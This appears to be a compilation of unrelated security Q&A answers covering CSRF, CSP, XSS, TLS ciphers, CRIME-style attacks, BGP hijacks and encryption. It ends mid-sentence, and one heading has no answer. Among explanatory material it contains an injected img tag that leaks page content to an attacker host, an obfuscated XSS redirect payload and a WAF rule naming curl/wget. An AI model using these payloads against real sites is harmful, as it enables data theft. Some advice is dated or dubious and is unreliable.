IP whitelist is an imperfect solution because it's fiddly. CloudFlare's global network of reverse proxies themselves aren't necessarily a static list of IP addresses. If CloudFlare added new IP Range, some of CloudFlare's servers may not be able to reach your Origin server until you update your Firewall, and your application could be experiencing a brownout for many of your users that you may never notice and is really hard to debug even when you do because everything is working perfectly fine from your vantage point. The maintenance busywork to keep the whitelist of IP addresses on your firewall up to date will be just as problematic as handling a DDoS.

The main idea of CloudFlare's CDN protection is by hiding your Origin Server's real IP address from publicly accessible database like the DNS system. This makes it much more difficult for an attacker to discover where to direct their attack to your Origin server.

Additionally, if your firewall appliance can actually handle the direct DDoS load, then your attacker is probably not big enough yet for you to actually be needing a DDoS protection. So the suggestion to just skip town and change your public IP is sensible as it's likely the fastest way to alleviate the impact of an active attack.

CloudFlare's solution to protect your Origin Server from direct traffic is to use Authenticated Origin Pull (free), which would have CloudFlare use a TLS Client certificate when making a connection to your Origin server, or Argo Tunnel (additional cost), which will require you to run a cloudflare agent daemon inside your network to maintain an outgoing connection to one of CloudFlare's point of presence.


HTTPS traffic cannot be replayed but its contents might be.
It is possible that a browser will send a request multiple times because the user has hit back or because the connection timed out on the last attempt or similar. In that case you need another nonce to detect the duplicate API requests. So you can avoid e.g. sending two pairs of shoes.

Note the difference. The HTTPS packets are not replayed. The browser might use a new HTTPS connection or still use the same connection but it is simply sending new packets.


Seeding a C# random number generator securely

To generate a secure random number in .Net you should use system.security.cryptography.rngcryptoserviceprovider instead of system.random

The documentation for it is here:

https://msdn.microsoft.com/en-us/library/system.security.cryptography.rngcryptoserviceprovider(v=vs.110).aspx

In case of link rot, here is the C# sample that Microsoft provide on that link. The random generation is done using the GetBytes method.

//The following sample uses the Cryptography class to simulate the roll of a dice.

using System;
using System.IO;
using System.Text;
using System.Security.Cryptography;

class RNGCSP
{
    private static RNGCryptoServiceProvider rngCsp = new RNGCryptoServiceProvider();
    // Main method.
    public static void Main()
    {
        const int totalRolls = 25000;
        int[] results = new int[6];

        // Roll the dice 25000 times and display
        // the results to the console.
        for (int x = 0; x < totalRolls; x++)
        {
            byte roll = RollDice((byte)results.Length);
            results[roll - 1]++;
        }
        for (int i = 0; i < results.Length; ++i)
        {
            Console.WriteLine("{0}: {1} ({2:p1})", i + 1, results[i], (double)results[i] / (double)totalRolls);
        }
        rngCsp.Dispose();
        Console.ReadLine();
    }

    // This method simulates a roll of the dice. The input parameter is the
    // number of sides of the dice.

    public static byte RollDice(byte numberSides)
    {
        if (numberSides <= 0)
            throw new ArgumentOutOfRangeException("numberSides");

        // Create a byte array to hold the random value.
        byte[] randomNumber = new byte[1];
        do
        {
            // Fill the array with a random value.
            rngCsp.GetBytes(randomNumber);
        }
        while (!IsFairRoll(randomNumber[0], numberSides));
        // Return the random number mod the number
        // of sides.  The possible values are zero-
        // based, so we add one.
        return (byte)((randomNumber[0] % numberSides) + 1);
    }

    private static bool IsFairRoll(byte roll, byte numSides)
    {
        // There are MaxValue / numSides full sets of numbers that can come up
        // in a single byte.  For instance, if we have a 6 sided die, there are
        // 42 full sets of 1-6 that come up.  The 43rd set is incomplete.
        int fullSetsOfValues = Byte.MaxValue / numSides;

        // If the roll is within this range of fair values, then we let it continue.
        // In the 6 sided die case, a roll between 0 and 251 is allowed.  (We use
        // < rather than <= since the = portion allows through an extra 0 value).
        // 252 through 255 would provide an extra 0, 1, 2, 3 so they are not fair
        // to use.
        return roll < numSides * fullSetsOfValues;
    }
}


Why does curl/wget in the ebay search box give me an access denied error?

I assume that ebay.com installed a Web Application Firewall, which recognizes your request as a possible attack. Therefore, your request is cancelled and you receive a HTTP 403 - Access Denied. The mod_security WAF for Apache, nginx and IIS behaves similar: If it is in prevention mode, it will also respond with HTTP 403 by default [1].

Most WAFs have some kind of a rule set. They check whether your request matches one of their rules, maybe with regular expressions. I assume further that one of those rules looks like (wget|curl) (http|https)://.* [2]. The "sanitizing" of double forward slashes in your url happens most likely on the application level. Strings like asdf// will also be shortened to asdf.

[1] https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#secdefaultaction

[2] Skipped escaping of forward slashes for the sake of readability


A CSRF attack means that a website tricks a user into making a page request on another website they didn't want to make. This can be used to trick the user into performing an action on that website they don't intended to perform.

I could, for example, ask you to click this amazing link (really, it's cool!), and accidently cause you to delete your account on example.com (just an example - there is no such script on example.com). When I would have more control over this website, I could use a script- or HTTP redirect, so no social engineering would be necessary. But any response to that action would be sent to you, not to me. That means when the action is non-destructive and only reads information without changing it, a CSRF would be pointless. In the worst case the user would wonder why they are suddenly redirected to the website showing their social security number.

But there is one way for a website to gain information from a different website in the context of the user: xmlHttpRequest. Normally, same origin policies apply and prevent xmlHttpRequests from crossing domain-borders. But this restriction can be overridden by the Cross-Origin Resource Sharing settings on your webserver. When you accidently enable CORS for the other website (or all websites), they can send requests in the context of your users to your website and read the response. When you want to know how to check or change the CORS configuration on your webserver, refer to its documentation.


Truecrypt - One keyfile multiple passwords

What you have described will work perfectly fine, and I would suggest using TrueCrypt again for encrypting the keyfile, given that all participants already know how to use it. Simply create a TrueCrypt partition on the USB device, and put the unencrypted keyfile into that partition.

Doing it that way also has the advantage that it is impossible for a user to accidentally leave the keyfile unencrypted. If you were to use file encryption such as openssl to encrypt and decrypt the keyfile, it would be possible for someone to forget to re-encrypt the keyfile once they have finished using it. Using an encrypted partition via TrueCrypt means this is not possible, which is good.

The drawback here is that you have multiple copies of your keyfile spread around the place. Some users might think that plugging in the USB, entering their personal password, and accessing the keyfile every time they want to access the shared TrueCrypt partition is a hassle, and there is nothing to stop them from copying the unencrypted keyfile onto their local disk for the sake of convenience, which breaks the encryption for everyone.

You are also relying on the strength of the weakest personal password, which with a large number of users is likely to be very weak.

You also have the problem of revoking access: it is difficult to remove a person from the 'circle of trust' because everyone knows the same key. You would have to redistribute/replace the TrueCrypt partition under a new master key, and update everyone's keyfiles to match.

LUKS solves a lot of these issues by allowing multiple passwords to unlock the same disk. Provided the permissions are set up correctly, it is impossible for a user to get the master key for a disk, even if that user knows a valid password for that disk. This makes access revocation very easy.


Why is CSP needed to protect against img-src leak?

Just to be clear about how the attack works:

A site allows you to enter text that is later displayed somewhere. It does not properly filter out HTML.
Mallory enters <img src='https://some-evil-site.com/log_csrf?html=, and sends a link to the page to Alice.
Alice views the page, and the rest of the page with Alice's secret content is sent to some-evil-site.com that Mallory controls.

  How does it differ from pressing page-source on the page and sending the content manually.

You view the source on your computer, generated with your credentials, so it does not contain anything that is secret from you. The point of the attack discussed in the blog post is to "steal" the source from someone else (by injecting HTML) so you can read their secrets.

  If it is just for pages where users can insert input, don't we have to prevent only those issues on inputs by adding validations to the input?

Yes, we need to do that even if we implement a CSP. But humans are fallible creatures and we might make mistakes. Having a CSP that stops this kind of attack might therefore be good as defence in depth.

  Not prevent img src of other sources in all the code?

If you don't want to allow images from arbitrary domains anyway it might be good to whitelist the domains you do want to allow images from and block everything else. Again, you should have other kinds of protections against this, but it never hurts to have a backup.


It seems risky to me.  HTTP compression is fine for static resources, but for some dynamic resources served over SSL, it seems like HTTP compression might be dangerous.  It looks to me like HTTP compression can, in some circumstances, allow for CRIME-like attacks.

Consider a web application that has a dynamic page with the following characteristics:

It is served over HTTPS.
HTTP compression is supported by the server (this page will be sent to the browser in compressed form, if the browser supports HTTP compression).
The page has a CSRF token on it somewhere.  The CSRF token is fixed for the lifetime of the session (say).  This is the secret that the attack will try to learn.
The page contains some dynamic content that can be specified by the user.  For simplicity, let us suppose that there is some URL parameter that is echoed directly into the page (perhaps with some HTML escaping applied to prevent XSS, but that is fine and will not deter the attack described).

Then I think CRIME-style attacks might allow an attacker to learn the CSRF token and mount CSRF attacks on the web site.

Let me give an example.  Suppose the target web application is a banking website on www.bank.com, and the vulnerable page is https://www.bank.com/buggypage.html.  Suppose the bank ensures that the banking stuff is only accessible by SSL (https).  And, suppose that if the browser visits https://www.bank.com/buggypage.html?name=D.W., then the server will respond with a HTML document looking something vaguely like this:

...
Hi, D.W.!  Pleasure to see you again.  Some actions you can take:
close my account,
view my balance, ...

Suppose you are browsing the web over an open Wifi connection, so that an attacker can eavesdrop on all of your network traffic.  Suppose that you are currently logged into your bank, so your browser has an open session with your bank's website, but you're not actually doing any banking over the open Wifi connection.  Suppose moreover that the attacker can lure you to visit the attacker's website http://www.evil.com/ (e.g., maybe by doing a man-in-the-middle attack on you and redirecting you when you try to visit some other http site).

Then, when your browser visits http://www.evil.com/, that page can trigger cross-domain requests to your bank's website, in an attempt to learn the secret CSRF token.  Notice that Javascript is allowed to make cross-domain requests.  The same-origin policy does prevent it from seeing the response to a cross-domain request.  Nonetheless, since the attacker can eavesdrop on the network traffic, the attacker can observe the length of all encrypted packets and thus infer something about the length of the resources that are being downloaded over the SSL connection to your bank.

In particular, the malicious http://www.evil.com/ page can trigger a request to https://www.bank.com/buggypage.html?name=closeacct&csrftoken=1 and look at how well the resulting HTML page compresses (by eavesdropping on the packets and looking at the length of the SSL packet from the bank).  Next, it can trigger a request to https://www.bank.com/buggypage.html?name=closeacct&csrftoken=2 and see how well the response compresses.  And so on, for each possibility for the first digit of the CSRF token.  One of those should compress a little bit better than the others: the one where the digit in the URL parameter matches the CSRF token in the page.  This allows the attacker to learn the first digit of the CSRF token.

In this way, it appears that the attacker can learn each digit of the CSRF token, recovering them digit-by-digit, until the attacker learns the entire CSRF token.  Then, once the attacker knows the CSRF token, he can have his malicious page on www.evil.com trigger a cross-domain request that contains the appropriate CSRF token -- successfully defeating the bank's CSRF protections.

It seems like this may allow an attacker to mount a successful CSRF attack on web applications, when the conditions above apply, if HTTP compression is enabled.  The attack is possible because we are mixing secrets with attacker-controlled data into the same payload, and then compressing and encrypting that payload.

If there are other secrets that are stored in dynamic HTML, I could imagine that similar attacks might become possible to learn those secrets.  This is just one example of the sort of attack I am thinking of.  So, it seems to me that using HTTP compression on dynamic pages that are accessed over HTTPS is a bit risky.  There might be good reasons to disable HTTP compression on all resources served over HTTPS, except for static pages/resources (e.g., CSS, Javascript).


Is it possible to grab all the cookies of different websites by only one XSS attack?

No, because XSS means "Cross-Site Scripting".

Normally a site can only access cookies in its own Origin. This restriction is known as the Same Origin Policy.

That is example.org cannot normally access cookies in example.com.

If there is an XSS flaw on example.com though, and the HttpOnly flag is not used on a cookie in example.com, then example.org can steal the cookies from example.com if a user falls victim to the attack.

If this attack then allowed access to all browser cookies then the attacker would not need the XSS flaw at all - they would just write script in their own domain (example.org in this case) if there were no Same Origin Policy restrictions.

An flaw that would allow access to all non-HttpOnly cookies, would be a "Universal XSS" vulnerability. uXSS is a flaw in a web browser or browser extension that allows the Same Origin Policy to be breached.


Is my password visible on an SSL/TLS connection across unprotected wireless?

If the encryption to the banks web site is encrypted end-to-end with TLS they cannot sniff the secret. But

The attacker could use tools like sslstrip to downgrade you to plain text. If you are not aware about you might not notice. There are ways for the bank to enforce HTTPS like with using HSTS, but it is not supported by all browsers and not all banks use it.
The attacker could mount a man-in-the-middle attack. If you are used to click through any warnings about bad certificates you might not notice that the connection is not connected end-to-end to the bank but that there is an attacker in between reading (and modifying) all the data.
The attacker could infect your computer by other means like by injecting malware into the normal unencrypted HTTP traffic, similar to how some ISP inject ads into the traffic. And once the attacker has compromised your computer no TLS will help you because the attacker can inject directly into the browser and deal with the unencrypted traffic, install keyloggers etc.

Please note that these attack vectors do not necessarily vanish if the WLAN is encrypted. The WLAN could be created by the attacker itself, maybe by using a name usually associated with trusted providers. Or the existing WLAN router could be hacked by the attacker, since common SoHo routers are often vulnerable to various attacks.


SSL/TLS Session Resumption with Session Tickets

If a client is compromised then that client is compromised. Session tickets don't change that one way or another...

Session tickets are a TLS extension by which the server pushes the session context into the client. From the point of view of the client, the ticket is opaque. To prevent ticket forgery or alteration by malicious clients, the server is supposed to employ some encryption and integrity check when it builds the ticket. If the server does its job properly (e.g. as recommended in the RFC), then session tickets do not introduce any extra weakness. A compromised/malicious client will not learn anything that allows it to decrypt the TLS sessions of other clients, or forge tickets.

The only situation where session tickets are not recommended is when servers want fine-grained control on the maximum duration of the session for each client, independently of other clients (e.g. if your Web site session management relies on the TLS session instead of some HTTP-level cookie or something similar). When the session context is saved server-side, it is easy for the server to simply forget that context. With session tickets, you cannot enforce forgetfulness on the client side. But we are not talking weaknesses here, only functionalities.

Since TLS session tickets are a TLS extension, they do not impact clients that do not know about them. A given TLS connection will use a ticket only if the client explicitly announces support for the extension in the ClientHello message. If a client does not support TLS session tickets (e.g. IE on Windows 7), then it won't talk about session tickets in its ClientHello, and neither will the server say anything about session tickets.

The consequence, though, is that even if you activate session tickets, this is an opportunistic optimization. The server must still be able to handle "normal" sessions for clients that do not support session tickets. You shall not disable non-ticket sessions until all clients have implemented the new support. Since the TLS implementation in Windows 7 does not know about session tickets, you will probably have to keep on supporting non-ticket sessions for some years still.


Isn't OAuth, OpenID, Facebook Connect, and others crazy from a security standpoint?

I guess there is no really good solution for everday websites (e. g. not high profile sites such as banks for which users accept and economic allows a two factor authentication). One can only pick a solution which as little negative impact as possible.

Unfortunately people are not good at remembering a huge number of passwords. This results in either them reusing the same password on different services or writing them down (on paper or a password manager). Yes, there is the advice to create a password system including the site name.

But people are lazy. Password reuse is worse than a central account because it means that a vulnerability in any applications reveals the password.

In the Stendhal game most of the account hacks are done by family members. I guess that is special for games. The next group is random guessing of usernames/passwords. But there is a small number of hack attempts that are based on getting access to the email account. While we do not allow automatic password reset using email, many website do. Twitter's upper management was hacked exploiting an expired Hotmail email account and reused passwords.

So if you consider to allow password reset via email, there is little additional risk in delegating the authentication process to the big companies. All of them have measure in place to make it more difficult for attackers (recovery via mobile phone messages in case of suspicious activity, login history, warnings about login attempts from other counties, etc). It is a lot of work to implement those in your own site.

On a personal note, I would have preferred the Account Manager approach (specification) over trusting one of those companies. Plus, it does not have the phishing problem. Unfortunately the project does not seem to make any progress.

In the end we decided for Stendhal to support both OpenID and local accounts and let the users decide.


When looking what ciphers you actually provide:

openssl ciphers -V 'ECDH+AESGCM256:DH+AESGCM256:ECDH+AES256:SH+AES256:RSA+AESGCM256:RSA+AES256:!aNULL:!MD5:!kEDH:!DSS'

      0xC0,0x30 - ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(256) Mac=AEAD
      0xC0,0x2C - ECDHE-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESGCM(256) Mac=AEAD
      0xC0,0x28 - ECDHE-RSA-AES256-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AES(256)  Mac=SHA384
      0xC0,0x24 - ECDHE-ECDSA-AES256-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AES(256)  Mac=SHA384
      0xC0,0x14 - ECDHE-RSA-AES256-SHA    SSLv3 Kx=ECDH     Au=RSA  Enc=AES(256)  Mac=SHA1
      0xC0,0x0A - ECDHE-ECDSA-AES256-SHA  SSLv3 Kx=ECDH     Au=ECDSA Enc=AES(256)  Mac=SHA1
      0xC0,0x32 - ECDH-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH/RSA Au=ECDH Enc=AESGCM(256) Mac=AEAD
      0xC0,0x2E - ECDH-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH/ECDSA Au=ECDH Enc=AESGCM(256) Mac=AEAD
      0xC0,0x2A - ECDH-RSA-AES256-SHA384  TLSv1.2 Kx=ECDH/RSA Au=ECDH Enc=AES(256)  Mac=SHA384
      0xC0,0x26 - ECDH-ECDSA-AES256-SHA384 TLSv1.2 Kx=ECDH/ECDSA Au=ECDH Enc=AES(256)  Mac=SHA384
      0xC0,0x0F - ECDH-RSA-AES256-SHA     SSLv3 Kx=ECDH/RSA Au=ECDH Enc=AES(256)  Mac=SHA1
      0xC0,0x05 - ECDH-ECDSA-AES256-SHA   SSLv3 Kx=ECDH/ECDSA Au=ECDH Enc=AES(256)  Mac=SHA1
      0x00,0x9D - AES256-GCM-SHA384       TLSv1.2 Kx=RSA      Au=RSA  Enc=AESGCM(256) Mac=AEAD
      0x00,0x3D - AES256-SHA256           TLSv1.2 Kx=RSA      Au=RSA  Enc=AES(256)  Mac=SHA256
      0x00,0x35 - AES256-SHA              SSLv3 Kx=RSA      Au=RSA  Enc=AES(256)  Mac=SHA1

You provide ciphers with GCM, which is what you need for "modern cryptography". But you provide only ciphers with SHA384, which is not supported by Chrome. Thus none of the GCM ciphers can be used by the client and only the "obsolete cryptography" ciphers can be used.

  My certificate is signed with SHA512withRSA and I only want to support 256-Bit chiphers.

You should provide adequate security and not "mine is bigger than yours" security. AES128-GCM-SHA256 is adequate and supported by Chrome.

I recommend reading https://wiki.mozilla.org/Security/Server_Side_TLS#Modern_compatibility


You are infected with malware. Try using some kind of malware removal software. If it doesn't work, save your data and perform a clean O.S. install.

You can use a lot of software, but as a recommendation:

Malwarebytes
SuperAntiSpyware

Malwarebytes has its free version which has no real time protection to avoid being infected, but free version is able to remove malware once infected like in your case. You can activate a 30 day premium trial if you want real time protection.

Good luck.


XSS: sending a cookie without using quotes or double quotes?

You don't need quotes. One possibility would be to use String.fromCharCode:

<script>
document.location=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 101, 120, 97, 109, 112, 108, 101, 46, 99, 111, 109, 47, 102, 111, 111, 98, 97, 114)
</script>

There is also always jsfuck, which lets you execute arbitrary JavaScript with just ()[]+!.


Can an SSL certificate be used to generate a SAML token

Yes, it's possible. As far as I know, the SAML standard has no restrictions on type of certificate to be used, and in practice you often have self-signed certificates with the public key communicated out of band rather than depending on chain of trusted certificate authority.

Regarding whether it's OK/advisable, some things to think about:

Deploying it this way will require your application to have access to the private key of the certificate, where I assume it did not need this permission before (since that would typically be handled at the web server or load balancer level). More things with permission to your SSL cert broadens the risk of compromise.
You've now complicated your SSL cert rollover procedures and potentially need to involve the external application's staff in the timing of this.


The real AS to feed a false route is any AS along the AS path:

7908 --> 20080 --> 1251 --> |28571|
                            |52888| --> 6447

you see in the 2 wrong announces of route to:

8.8.8.8/32

Hence all traffic toward 8.8.8.8/32 shoud be routed since this attack through
ASes:

|28571|
|52888| --> 1251 --> 20080 --> 7908

If the target of this attack is to redirect all the flow toward Google
to a booby trapped web server mimicking perfectly Google,
then this booby trapped server must be inside of the under control AS
which is at the end of this faked route. It is:

7908

which belongs to:

BT LATAM Venezuela, S.A.

And clearly the university of Oregon doesn't have to route its Google traffic through a cache located in Venezuela.

This isn't sufficient to diagnose this is a real attack or rather a human error (leak of an internal route on the allowed ones to broadcast to BGP neighbours). If this is an human error then the origin is most
probably within:

AS 7908

But if this is an attack, then this is most probably conducted remotely and
you can't locate its first hop of access without the connections logs on BGP router inside AS 7908.


How to decrypt a ciphertext encrypted in AES CTR mode if you are given ciphertext, plaintext, and key?

To recover the lost IV in the given situation, you can make use of the fact that ECB mode (electronic code book) does not use an IV.
Below is a bash/openssl session that illustrates the procedure.
After creating the two plain text files P1 and P2 we create the two cipher text files C1 and C2 using CTR mode.
Then, simulating a situation where both IV and P2 are unknown, we xor C1 and P1, and use the first block of the result (X1) for the decryption using ECB mode, which works without IV. In the result however, we can discover the IV with which P1 has been encrypted (scroll all the way to the right to see the (padded) IV):
~/$ echo -n "The quick brown fox jumped over ..." >P1
~/$ echo -n "... the lazy dog." >P2
~/$ cat P1 | openssl enc -e -aes-128-ctr -iter 1 -K AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -iv DEADBEEFDEADBEEF >C1
hex string is too short, padding with zero bytes to length
~/$ cat P2 | openssl enc -e -aes-128-ctr -iter 1 -K AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -iv DEADBEEFDEADBEEF >C2
hex string is too short, padding with zero bytes to length
~/$ ./xor.sh `<P1 bin2hex` `<C1 bin2hex` | hex2bin >X1
~/$ head -c 32 X1 | openssl enc -d -aes-128-ecb -iter 1 -K AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -p | bin2hex
73616C743D433037343038434344333535303030300A6B65793D41414141414141414141414141414141414141414141414141414141414141410ADEADBEEFDEADBEEF0000000000000000DEADBEEFDEADBEEF00000000000000

Now, as we know the IV, we can use it to decrypt C2 and get P2, using CTR mode as usual:
~/$ cat C2 | openssl enc -d -aes-128-ctr -iter 1 -K AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -iv DEADBEEFDEADBEEF
hex string is too short, padding with zero bytes to length
... the lazy dog.


You should consider using public facing sites for something like this such as Troy Hunt's "Hack Yourself First" [Link]. If your vulnerable server is public facing to the internet, that box is going to be compromised in less than 24 hours and you could put whoever logs into that box at risk.


What is MITM attack in terms of implementation?

Technically, they can be anywhere in the network. But a lot depends on the attacker, their capabilities, and their goals.

Some of the easiest Person In The Middle (PITM) attacks can be done with a fake WiFi hotspot, such as at a coffee shop or airport. These usually require physical proximity to the victim. They are good if an attacker wants to target a specific victim, and doesn’t have the resources for a more advanced attack. They are also effective at pulling in a few random victims. But they generally don’t scale well, and they expose the attackers to the risk of getting caught.

An attack can be launched against a single computer or browser by reconfiguring it to use the attacker’s proxy. This can be persistent, surviving reboots, VPNs, and relocated portable devices. But it requires some kind of access to the victim’s device to change its settings.

An attack on a server’s infrastructure can PITM many victims indiscriminately. These can harvest credentials or credit card data. Lately the technique has evolved into replacing JavaScript libraries to make copies of payment data that pass through them.

Attackers have been known to subvert Tor exit nodes to intercept traffic. It is claimed that law enforcement agencies have used this technique to target criminals on the dark web.

The most sophisticated attacks that have been published have come from national cyberwarfare organizations. These use attacks such as network-infrastructure-located servers that hijack the SYN/ACK TCP handshake with a more rapid reply than the legitimate server (google for FOXACID for a better description.)


Can an attacker listen to a DSL signal by calling telephone?

The DSL signal only exists between your house and the DSLAM on your street.

Voice is separated out and transmitted on a TDM digital channel with only 8kHz bandwidth.

So, no, nobody in a multi-party conference call will get more than that 8kHz voice channel connected to them, and therefore have no idea whether you have DSL or not.


Should anti-virus detect metasploit payloads?

It's an arms race. The developers of metasploit want to develop plugins that defeat anti-virus. The developers of anti-virus want to defeat metasploit plugins.

They can't both be successful, so sometimes the AV will roll out signatures that detect all metasploit modules, sometimes the metasploit developers will find a new way to evade AV.

You'd think that the AV vendors had the advantage due to metasploit being open-source, but obviously not in this case.


What is the algorithm for ARJ encrypted files?

By going to the vendor's site and looking up the manual, I found the different types of "encryption" they used:

       "0" indicates XOR garbling (archives created before 2.60).

       "1" indicates XOR garbling (archives created at 2.60 and greater).

       "2" indicates GOST encryption with a 32 byte password limit.

       "3" indicates GOST encryption (ARJCRYPT.COM version 2.1).

       "4" indicates 40 bit encryption limit.

GOST:

       This version of ARJ provides a new encryption scheme based upon
       the Russian encryption algorithm (GOST 28147-89 cipher).  This
       algorithm is similar in design to DES; however, GOST is designed
       for software implementation.  GOST 28147-89 uses a 256 bit key
       and 32 rounds of encryption.  This implementation uses the 64
       bit cipher feedback mode.

You will have to read the rest of the manual because there are numerous configurations for the encryption used that might affect you.

Wikipedia entries for GOST Encryption


Generally speaking, no, you will not have to do anything more that change the protocol (http to https) in order to encrypt your application's traffic.  Most web-client libraries support both protocols transparently.

Some additional things to consider as a mobile application developer:

Do not disable certificate validation routines, or catch and discard errors.  This is unfortunately common in mobile applications and completely destroys the security benefits of using SSL/TLS in the first place by allowing a MitM to capture and decrypt traffic without any warning to the user.
Consider certificate pinning.  This requires some extra work on your part, but enhances security by ensuring that not only is the certificate used to protect the users' traffic is a valid certificate, but it is your certificate, the specific certificate you expect them to use.   This is an extra security measure that may or may not be warranted, depended on what you're protecting, but is worth taking a look at.


Is reverse DNS a must have to prevent emails delivered as spam?

Your question,

  "Is having a PTR record a must for sending mail servers?"

is not that easy to answer fully.

  Is it an requirement to be able to send mail?

No, you can send mail from any address.

  "Can SPF and DKIM can replace a PTR record?"

the answer is no, each of these have a different function.

and when we combine the question and look at the full problem, we have to consider that as mail senders we have to invoke trust into ourselves as a trusted party that plays nice, does not send spam etc. (e.a. we are a good sender)

In order to invoke that trust we should implement a PTR record for our mail server, a SPF record and DKIM record to protect our messages and canonical source of messages.

In conclusion, is a PTR really needed when you host your own sending mail server? Yes, because we want others to trust us as a proper mail sender.


I'm not aware of a way to pass a list of masks to john as a single command (in the way that hashcat allows).

The best you can do today is to use the custom placeholder syntax (-1, -2, etc.) just as you've done, and run each command separately (which could be combined into a single run with a batch or command file).

(And if your limitation on hashcat is just that you can't use OpenCL, this attack is simple enough that you could use hashcat-legacy (download here), which is CPU-only.)


What is the effect on a domain when the secondary name server is compromised?

DNS resolvers choose the name server to obtain the answer from randomly. There is no difference between primary and secondary NS servers from this point of view.

If you have 2 NS servers and one is compromised in any way, there is roughly a 50% chance that the caching DNS server asks a compromised NS server. When it does and gets a spoofed reply (possibly pointing to malicious target), it will remember such reply and return it to all subsequent queries for the same DNS name until the TTL of the reply expires (which can be realy long, like several days, if the attacker is clever enough).

If the visitor of such site uses a properly configured, DNSSEC-aware recursive resolver (caching DNS server) and the example.com domain is signed with DNSSEC, he is quite safe.

The DNS resolver verifies the answer from authoritative name server against the DS records from the parent zone (in this case the .com zone). If the answer is spoofed, resolver returns and error (and does not cache the wrong answer). Only if the cryptography used for signing the DNS zone in question (or any of the parent zones) is broken or the secret keys are known to the attacker, only then he could spoof such DNS reply.


Automatically Open LUKS Container on System Boot in a safe manner

Rather than having a local machine periodically query the server and push the key to it if necessary, you could do it the other way around and have the server pull the key from your local machine. The server and client can mutually authenticate each other with SSH, making it such that an active attacker who has access to either the local machine's storage or the remote machine's storage would be required to steal the key. If the attacker is passive and can only read the contents of the remote machine's disk, but not act on it (for example, by SSHing to the real server and backdooring it), pulling the password should be safe. The specific implementation is up to you, but it could be:

The server boots up, connects to your local machine, and requests the key.
The server and your local machine authenticate each other over SSH.
Optionally, the two machines can verify that the other is connecting from the correct IP.
After authentication, the server pulls the key from your local machine.

Since you specified that your threat model involves an attacker with complete access to the remote server's storage, be aware that you can only protect from a passive adversary, not one who is able to both read the storage and MITM your connection, or SSH in directly using stolen credentials.


.Net WebClient - self signed certificate

In using a self-signed certificate, you essentially face the same risks as a certificate authority. Mainly, you need to make sure your private key is kept secure. This is ensured using a number of methods.

Firsty, use a HSM (hardware security module) to store your private keys and perform encryption. Your cloud hosting provider may provide this service.

Secondly, the certificate you use for TLS encryption will typically be at the third level in a certificate chain. This stackexchange page, for example has a certificate chain like this:

DigiCert Root CA (25 years before expiry)
    |
    DigiCert Server CA (15 years before expiry)
        |
        *.stackexchange.com (1 year before expiry)

This makes it easy to rotate keys, before they get leaked or cracked, without having to regularly update the certificate store. Of course, since you have control over the certificate store, you can change the certificates as often as you like without need for such a chain.

Thirdly, I once read somewhere that you should change the system time to a random value when generating the private key, since system time is used as part of the seed for random generation. The system time is 'leaked' in the valid from field of the certificate to the nearest second, causing a small loss of entropy. Though I think you'll still have plenty of entropy left over, so maybe skip this step. :)

Also, make sure you're always using the latest version of TLS.


Does including decorative HTTP headers into server reply pose extra security risk?


Is there a standard for labeling a vulnerability as an intentional backdoor?

Note that this answer was written before the question was narrowed down (one month of this answer was written) to only include intentional backdoors.

I don't think there is such "standard" and I don't think there can be one. It is hard or impossible to find out if a vulnerability was accidentally added as a byproduct of bad design or bad development process, slipped through even though both design and development process were fine or was intentionally added to a good design but well hidden to look harmless as in The Underhanded C Contest etc. There are probably some cases where a specific issue can be traced back to malicious intend but in most cases this is not possible.


What are concerns with storing passwords in a restricted public folder on exchange?

You'd have to consider the benefits to your approach as well as drawbacks and compare it with other alternatives to make an informed decision.

a few pointers:

Who is managing those public folders / exchange? Those users might not need to have access to those settings/accounts, but since it's their job to manage the exchange server, they now also have access to those details.
What happens if an employee leaves their desktop unlocked and walks away for a short while? or if somebody is looking over their screen when this mailbox is open (those passwords won't be masked in any way)
Is there any audit trail of who's accessing this data, or making changes to it? (even by mistake)
What happens when one of the users leave the company (or gets fired)? How quickly/effectively can you change the passwords?
Is there any regulation/standard that your company must comply with that prevents storing passwords in plain-text?

My personal preference is using some kind of a password manager. There are several reliable solutions to help manage shared accounts/passwords. Have a search online for "online password manager" or something similar and I'm sure you'll find a few. There are free, open source and commercial ones, self-hosted or offered as a service. You can pick and choose the best one for you. Generally speaking, they take security much more seriously, since that's their core function. They offer protection against some of those drawbacks I mentioned, and probably others I didn't. Some might not even require you to make your own backups, and will do it for you, or will keep track of changes etc.

That said, there's no absolute right or wrong. If those passwords and data aren't really very sensitive it's possible that the built-in security offered by the Exchange shared mailbox is good-enough for your needs.


How does the Signal Protocol, used by WhatsApp, work?

Take a look at this technical white paper from WhatsApp, they recently moved to the Signal Protocol for e2e encryption.

Public Key Types

Identity Key Pair – A long-term Curve25519 key pair,
generated at install time.
Signed Pre Key – A medium-term Curve25519 key pair,
generated at install time, signed by the Identity Key, and rotated
on a periodic timed basis.
One-Time Pre Keys – A queue of Curve25519 key pairs for one
time use, generated at install time, and replenished as needed.
Session Key Types
Root Key – A 32-byte value that is used to create Chain Keys.
Chain Key – A 32-byte value that is used to create Message
Keys.
Message Key – An 80-byte value that is used to encrypt message
contents. 32 bytes are used for an AES-256 key, 32 bytes for a
HMAC-SHA256 key, and 16 bytes for an IV.

To establish a session:

The initiating client (“initiator”) requests the public Identity Key,
public Signed Pre Key, and a single public One-Time Pre Key
for the recipient.
The server returns the requested public key values. A One-Time
Pre Key is only used once, so it is removed from server storage
after being requested. If the recipient’s latest batch of One-Time
Pre Keys has been consumed and the recipient has not replenished
them, no One-Time Pre Key will be returned.
The initiator saves the recipient’s Identity Key as Irecipient, the
Signed Pre Key as Srecipient, and the One-Time Pre Key as
Orecipient.
The initiator generates an ephemeral Curve25519 key pair, Einitiator.
The initiator loads its own Identity Key as Iinitiator.
The initiator calculates a master secret as master_secret =
